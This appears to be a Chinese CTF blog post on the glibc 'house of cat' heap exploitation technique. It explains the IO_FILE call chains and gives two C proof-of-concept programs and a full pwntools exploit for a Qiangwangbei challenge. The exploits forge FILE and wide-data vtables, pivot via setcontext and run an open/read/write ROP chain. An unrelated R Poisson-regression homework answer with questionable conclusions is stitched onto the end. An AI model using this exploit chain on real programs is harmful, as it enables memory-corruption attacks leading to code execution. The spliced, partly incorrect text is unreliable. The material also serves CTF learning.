house of cat

前言

利用条件:

        - 泄漏 libc 和 heap 基地址

        - 任意写一次堆地址(largebin attack 等攻击)

        - 能够触发 IO 链

在介绍 house of cat 之前,笔者将带大家梳理一下目前常用的两种触发 IO 链调用的方法。

__malloc_assert 触发 IO 链调用

调用链如图:

__malloc_assert 正常情况下会调用 stderr->vtable.__xsputn

为什么 fp -> _lock 为可写地址

经过调试可以发现,程序最后会断在 __vfxprintf 函数中,通过查看汇编可以发现,因为 rdi = 0,所以 [rdi + 8] 这里就会异常。而通过回溯,可以发现 rdi 来自于 [rbx + 0x88],而 rbx 的值就是我们伪造的 fake_io 的地址,+0x88 就是字段 _lock 的偏移。

为什么 fp ->_mode <= 0

这里通过源码可以看出,其中 _IO_fwide 就是取 fp -> _mode,所以为了进入 __vfprintf_internal 函数,fp -> _mode 应当小于等于 0

exit 触发 IO 链调用

可以看到 exit 函数最后会调用 _IO_flush_all_lockp 去刷新 _IO_list_all 链表上的 IO_FILE

需要满足的条件

这里是个 if 判断,总的来看就是 A && _IO_OVERFLOW,所以要想执行 _IO_OVERFLOW 就得让 A 为真。

而 A 又可以看成 B || C,所以要让 A 为真,只需要 B 为真或者 C 为真即可。

我们来看下 B:fp->_mode <=0 && fp->_IO_write_ptr > fp->_IO_write_base,所以需要让 fp->_mode <=0 并且 _IO_write_ptr 大于 _IO_write_base。

C 的话就是同理了,就没啥好说的了,满足条件就行了,_vtable_offset = 0,_mode > 0,_wide_data->_IO_write_ptr > _wide_data->_IO_write_base。

house of cat  IO链

在虚表段存在一个叫做 _IO_wfile_jumps 的虚表:

其中有个叫做 __seekoff 的字段,默认情况下其指向的函数是 _IO_wfile_seekoff,其在满足一定条件时会调用 _IO_switch_to_wget_mode 函数。

这里的 mode 在 __malloc_assert 触发下就算是也ok;但是在 exit 触发下就不行了。所以这里还是伪造一下 _mode 大于0比较好。

想要调用 _IO_switch_to_wget_mode,就得让 was_writing 为真。这是就不用说了,让 _wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base 即可。

不知道你有没有发现这里的 _wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base 与 exit 触发 IO 链的 C 条件不谋而合。所以这也使得利用 exit 进行触发成为了可能。

在 _IO_switch_to_wget_mode 中会满足一定条件会调用 _wide_data 虚表中的 IO_OVERFLOW 函数。而对 _wide_data 中的虚表是没有合法性检查的,所以我们可以伪造 _wide_data 的虚表从而去劫持程序执行流。

这里的条件是不是很熟悉:_wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base

所以整个调用链其实就分析完成了

__malloc_assert 触发

poc.c:其中的偏移请根据自己的环境去设置

#include <stdio.h>
#include <stdlib.h>

int main()
{
        setvbuf(stdin,NULL,_IONBF,0);
        setvbuf(stdout,NULL,_IONBF,0);
        setvbuf(stderr,NULL,_IONBF,0);
        size_t * ptr = malloc(0x410);
        size_t heap_base = ptr - 2;
        size_t libc_base = (size_t)&puts - 0x84420;
        //ptr[0x410/8 + 1] = 0x55;

        size_t * stderr_ = &stderr;
        size_t * fake_io_addr = ptr - 2;
        *stderr_ = fake_io_addr;

        size_t ones[3] = { 0xe3afe, 0xe3b01, 0xe3b04 };
        size_t o = libc_base + 0x10dce0;
        size_t r = libc_base + 0x10dfc0;
        size_t w = libc_base + 0x10e060;
        size_t setcontext = libc_base + 0x54f5d;

        fake_io_addr[0x88 / 8] = heap_base + 0x1000; // lock
        fake_io_addr[0xd8 / 8] = libc_base + 0x1e8f60 + 0x10; // _vtable
        fake_io_addr[0xa0 / 8] = heap_base + 0x100; // _wide_data
        fake_io_addr[0x100 / 8 + 0x18 / 8] = 1; // rcx
        fake_io_addr[0x100 / 8 + 0x20 / 8] = heap_base + 0x260; // rdx
        fake_io_addr[0x100 / 8 + 0xe0 / 8] = heap_base + 0x200; // _wide_data.vtable
        fake_io_addr[0x200 / 8 + 0x18 / 8] = setcontext; // rip

        fake_io_addr[0x250 / 8] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 1] = 3;
        fake_io_addr[0x250 / 8 + 2] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 3] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 4] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 5] = 0x40;
        fake_io_addr[0x250 / 8 + 6] = r;
        fake_io_addr[0x250 / 8 + 7] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 8] = 1;
        fake_io_addr[0x250 / 8 + 9] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 10] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 11] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 12] = 0x40;
        fake_io_addr[0x250 / 8 + 13] = w;

        fake_io_addr[0x260 / 8 + 0xa0 / 8] = heap_base + 0x250; // setcontest -> rsp
        fake_io_addr[0x260 / 8 + 0xa8 / 8] = o; // rcx -> ret -> open
        fake_io_addr[0x260 / 8 + 0x70 / 8] = 0; // rsi -> 0
        fake_io_addr[0x260 / 8 + 0x68 / 8] = heap_base + 0x400; // rdi -> flag.txt
        fake_io_addr[0x260 / 8 + 0x88 / 8] = 0; // rdx -> 0
        fake_io_addr[0x400 / 8] = 0x7478742e67616c66;

        //fake_io_addr[0x200 / 8 + 0x18 / 8] = 0xdeadbeef; // rip


        long long * ptr0 = malloc(0x418);
        malloc(0x10);
        long long * ptr1 = malloc(0x428);
        malloc(0x10);

        free(ptr1);
        malloc(0x438);

        size_t top_chunk_size_addr = (size_t)ptr0 + 0x410 + 0x20 + 0x430 + 0x20 + 0x440;
        ptr1[3] = top_chunk_size_addr - 0x20 + 3;
        free(ptr0);
        malloc(0x438);

        malloc(0x400);
        return 0;
}

效果如下:

exit 触发

还记得上面的需要满足的条件吗?如果用 exit 去触发的话,我们只能去让 C 为真,因为如果 _mode 为0的话,这里会直接退出去而不会去执行 _IO_switch_to_wget_mode。

poc.c:其中的偏移请根据自己的环境去设置

#include <stdio.h>
#include <stdlib.h>

int main()
{
        setvbuf(stdin,NULL,_IONBF,0);
        setvbuf(stdout,NULL,_IONBF,0);
        setvbuf(stderr,NULL,_IONBF,0);
        size_t * ptr = malloc(0x410);
        size_t heap_base = ptr - 2;
        size_t libc_base = (size_t)&puts - 0x84420;
        //ptr[0x410/8 + 1] = 0x55;

        size_t * IO_list_all = libc_base + 0x1ed5a0;
        size_t * fake_io_addr = ptr - 2;
        *IO_list_all = fake_io_addr;

        size_t ones[3] = { 0xe3afe, 0xe3b01, 0xe3b04 };
        size_t o = libc_base + 0x10dce0;
        size_t r = libc_base + 0x10dfc0;
        size_t w = libc_base + 0x10e060;
        size_t setcontext = libc_base + 0x54f5d;

        fake_io_addr[4] = 1;
        fake_io_addr[5] = 2;
        fake_io_addr[0xd8 / 8] = libc_base + 0x1e8f60 + 0x30; // _vtable
        fake_io_addr[0xa0 / 8] = heap_base + 0x100; // _wide_data
        fake_io_addr[0xa0 / 8 + 4] = 1; // _mode
        fake_io_addr[0x100 / 8 + 0x18 / 8] = 1; // rcx
        fake_io_addr[0x100 / 8 + 0x20 / 8] = heap_base + 0x260; // rdx
        fake_io_addr[0x100 / 8 + 0xe0 / 8] = heap_base + 0x200; // _wide_data.vtable
        fake_io_addr[0x200 / 8 + 0x18 / 8] = setcontext; // rip
        //fake_io_addr[0x200 / 8 + 0x18 / 8] = libc_base + ones[0]; // rip

        fake_io_addr[0x250 / 8] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 1] = 3;
        fake_io_addr[0x250 / 8 + 2] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 3] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 4] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 5] = 0x40;
        fake_io_addr[0x250 / 8 + 6] = r;
        fake_io_addr[0x250 / 8 + 7] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
        fake_io_addr[0x250 / 8 + 8] = 1;
        fake_io_addr[0x250 / 8 + 9] = libc_base + 0x000000000002601f; // pop rsi ; ret
        fake_io_addr[0x250 / 8 + 10] = heap_base + 0x300;
        fake_io_addr[0x250 / 8 + 11] = libc_base + 0x0000000000142c92; // pop rdx ; ret
        fake_io_addr[0x250 / 8 + 12] = 0x40;
        fake_io_addr[0x250 / 8 + 13] = w;

        fake_io_addr[0x260 / 8 + 0xa0 / 8] = heap_base + 0x250; // setcontest -> rsp
        fake_io_addr[0x260 / 8 + 0xa8 / 8] = o; // rcx -> ret -> open
        fake_io_addr[0x260 / 8 + 0x70 / 8] = 0; // rsi -> 0
        fake_io_addr[0x260 / 8 + 0x68 / 8] = heap_base + 0x400; // rdi -> flag.txt
        fake_io_addr[0x260 / 8 + 0x88 / 8] = 0; // rdx -> 0
        fake_io_addr[0x400 / 8] = 0x7478742e67616c66;

        return 0;
}

效果如下:

强网杯 house of cat 例题

就是一个模板题,没什么好说的。

需要注意的是,open 函数会默认调用 openat 系统调用,而其打开文件会失败。所以我们得用 syscall 去直接调用 open 函数。

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'plz input your cat choice:\n'


def s():
        pay = b"CAT | r00t QWB     $\xff\xff\xff\xff\xff\xff\xff\xffQWXF"
        sla(b"mew mew mew~~~~~~\n", pay)

def add(idx, size, content, flag=True):
        s()
        sla(menu, b'1')
        sla(b'plz input your cat idx:\n', byte(idx))
        sla(b'plz input your cat size:\n', byte(size))
        if flag:
                sda(b'plz input your content:\n', content)
                #sd(content)

def dele(idx):
        s()
        sla(menu, b'2')
        sla(b'plz input your cat idx:\n', byte(idx))

def show(idx):
        s()
        sla(menu, b'3')
        sla(b'plz input your cat idx:\n', byte(idx))

def edit(idx, content):
        s()
        sla(menu, b'4')
        sla(b'plz input your cat idx:\n', byte(idx))
        sda(b'plz input your content:\n', content)

def exp():
        add(0, 0x418, b'A'*0x418)
        add(1, 0x420, b'B'*0x420)
        dele(0)
        add(2, 0x420, b'C'*0x420)
        add(3, 0x420, b'D'*0x420)

        show(0)
        rut(b'Context:\n')
        libc_base = addr8(8) - 0x21a0d0
        libc.address = libc_base
        info("libc_base", libc_base)
        rc(8)
        heap_base = addr8(8)
        info("heap_base", heap_base)
        stderr = libc_base + 0x21a860
        info("stderr", stderr)

        pay  = p64(0) * 4
        pay  = pay.ljust(0x88 - 0x10, b'\x00')
        pay += p64(heap_base + 0x3000) # _lock
        pay += p64(0) * 2
        pay += p64(heap_base + 0xd0 + 0x10) # _wide_data
        pay  = pay.ljust(0xd8 - 0x10, b'\x00')
        pay += p64(libc_base + 0x2160c0 + 0x10) # io_file vtable

        print(hex(len(pay)))
        pay += p64(0)*3 + p64(1) # _IO_write_base -> rcx
        pay += p64(heap_base + 0x10 + 0x1c0 + 0xd0) # _IO_write_ptr -> rdx
        pay += b'\x00'*(0xe0-0x28)
        pay += p64(heap_base + 0x10 + 0x1b8 - 0x18) # _wide_data vtable
        pay += p64(libc.sym.setcontext + 61) # _IO_overflow
        print(hex(len(pay)))

        stack  = b""
        stack += p64(libc_base + 0x0000000000045eb0) # pop rax ; ret
        stack += p64(2)
        stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
        stack += p64(heap_base + 0x380 + 0x10)
        stack += p64(libc_base + 0x000000000002be51) # pop_rsi
        stack += p64(2)
        stack += p64(libc_base + 0x000000000011f497) # pop rdx ; pop r12 ; ret
        stack += p64(0)
        stack += p64(0)
        stack += p64(libc_base + 0x0000000000091396) # syscall; ret;
        #stack += p64(libc.sym.open) # open

        stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
        stack += p64(0)
        stack += p64(libc_base + 0x000000000002be51) # pop_rsi
        stack += p64(heap_base + 0x380)
        stack += p64(libc_base + 0x000000000011f497) # pop rdx ; pop r12 ; ret
        stack += p64(0x40)
        stack += p64(0)
        stack += p64(libc.sym.read) # read

        stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
        stack += p64(1)
        stack += p64(libc_base + 0x000000000002be51) # pop_rsi
        stack += p64(heap_base + 0x380)
        stack += p64(libc_base + 0x000000000011f497) # pop_rdx
        stack += p64(0x40)
        stack += p64(0)
        stack += p64(libc.sym.write) # write

        rdx_reg  = b""
        rdx_reg  = rdx_reg.ljust(0x68, b'\x00') + p64(0)
        rdx_reg += p64(0)*4
        rdx_reg  = rdx_reg.ljust(0xa0, b'\x00')
        rdx_reg += p64(heap_base + 0x10 + 0x1c0) + p64(libc.sym.close)

        print("rdx_reg: ", hex(len(rdx_reg)))
        print("stack: ", hex(len(stack)))

        pay = pay + stack + rdx_reg
        print(hex(len(pay)))
        pay = pay.ljust(0x380, b'\x00') + b"./flag.txt"

        add(4, 0x418, pay.ljust(0x418, b'\x00'))
        dele(2)
        add(5, 0x430, b'5'*0x430)

        pay = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x850) + p64(stderr - 0x20)
        edit(2, pay)

        dele(4)
        add(6, 0x430, b'F'*0x430)

        add(7, 0x440, b'7'*0x440)
        add(8, 0x440, b'L'*0x440)

        dele(7)
        add(9, 0x450, b'P'*0x450)

        dele(5)
        pay = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1930) + p64(heap_base + 0x2630 - 0x20 + 3)
        edit(7, pay)

#       debug()
        add(10, 0x460, b'P'*0x460, False)





if __name__ == "__main__":
        pay = b"LOGIN | r00t QWB     adminQWXF"
        sla(b"mew mew mew~~~~~~\n", pay)
#       s()
#       sla(menu, b'1')
#       sla(b'plz input your cat idx:', byte(0))
#       sla(b'plz input your cat size:', byte(0x418))
        exp()
        sh()

最后效果如下:

总结

鲁迅先生云:学习不总结等于白学。

由于对虚表的检查,我们无法直接去修改虚表和伪造虚表,这里主要就是利用了 _wide_data 中的虚表缺乏检查并且为了性能对虚表的检查只检查了范围。所以我们完全可以劫持原来的虚表为虚表段中的任意虚表,从而去寻址相关攻击链。

GOAL Perform a Poisson regression to predict the number of people in a househouse based on the age of the head of the household. DATA The Philippine Statistics Authority (PSA) spearheads the Family Income and Expenditure Survey (FIES) nationwide. The survey, which is undertaken every three years, is aimed at providing data on family income and expenditure, including levels of consumption by item of expenditure. The data, from the 2015 FIES, is a subset of 1500 of the 40,000 observations (Philippine Statistics Authority 2015). The data set focuses on five regions: Central Luzon, Metro Manila, Ilocos, Davao, and Visayas. The data is in the file fHH1.csv. Each row is a household, and the follow variables are recorded: • location: where the house is located (Central Luzon, Davao Region, Ilocos Region, Metro Manila, or Visayas) • age: the age of the head of household • total: the number of people in the household other than the head • numLT5: the number in the household under 5 years of age • roof: the type of roof in the household (either Predominantly Light/Salvaged Material, or Predominantly Strong Material. STEPS 1. Read in the dataset. 2. Produce a bar-chart of total 3. Produce a scatter-plot of total against age - add a smoothing line. 4. Fit the Poisson regression total ∼ age 5. Interpret the coefficient of age. 6. Obtain the Pearson residuals. Plot these against age. Is the model adequate? 7. Fit the Poisson regression total ∼ age + age2 8. Repeat the residual plots for the new model. 9. Compare the models using a likelihood ratio test, and AIC. 10. Calculate the predicted values for model M2. What is the age of the head of the household associated with the largest fitted value 使用R语言
05-26
1. 读入数据集 ```R data <- read.csv("fHH1.csv") ``` 2. 绘制总人口条形图 ```R library(ggplot2) ggplot(data, aes(x = total)) + geom_bar() ``` 3. 绘制总人口与年龄的散点图,并添加平滑线 ```R ggplot(data, aes(x = age, y = total)) + geom_point() + geom_smooth(method = "lm", se = FALSE) ``` 4. 拟合泊松回归模型:total ∼ age ```R model <- glm(total ~ age, data = data, family = "poisson") summary(model) ``` 5. 解释年龄系数 年龄系数为0.018,表示每增加1岁,家庭成员总人口数的期望增加1.018倍。 6. 获取Pearson残差,并将其对年龄进行绘图。模型是否充分? ```R residuals <- resid(model, type = "pearson") ggplot(data, aes(x = age, y = residuals)) + geom_point() + geom_hline(yintercept = 0, linetype = "dashed") ``` 从图中可以看出,残差并没有随年龄变化而变化,因此模型是充分的。 7. 拟合泊松回归模型:total ∼ age + age2 ```R data$age2 <- data$age^2 model2 <- glm(total ~ age + age2, data = data, family = "poisson") summary(model2) ``` 8. 重复新模型的残差图 ```R residuals2 <- resid(model2, type = "pearson") ggplot(data, aes(x = age, y = residuals2)) + geom_point() + geom_hline(yintercept = 0, linetype = "dashed") ``` 从图中可以看出,残差并没有随年龄变化而变化,因此模型是充分的。 9. 使用似然比检验和AIC比较模型 ```R # 似然比检验 library(lmtest) lrtest(model, model2) # AIC比较 AIC(model, model2) ``` 根据似然比检验和AIC值,可以发现模型2(total ∼ age + age2)比模型1(total ∼ age)更好。 10. 计算模型M2的预测值。与家庭户主的年龄相关的最大拟合值是多少? ```R newdata <- data.frame(age = seq(20, 80, by = 1)) newdata$age2 <- newdata$age^2 pred <- predict(model2, newdata, type = "response") max_age <- newdata[which.max(pred), "age"] cat("与家庭户主的年龄相关的最大拟合值是:", max(pred), "\n") cat("该值对应的家庭户主的年龄为:", max_age, "\n") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值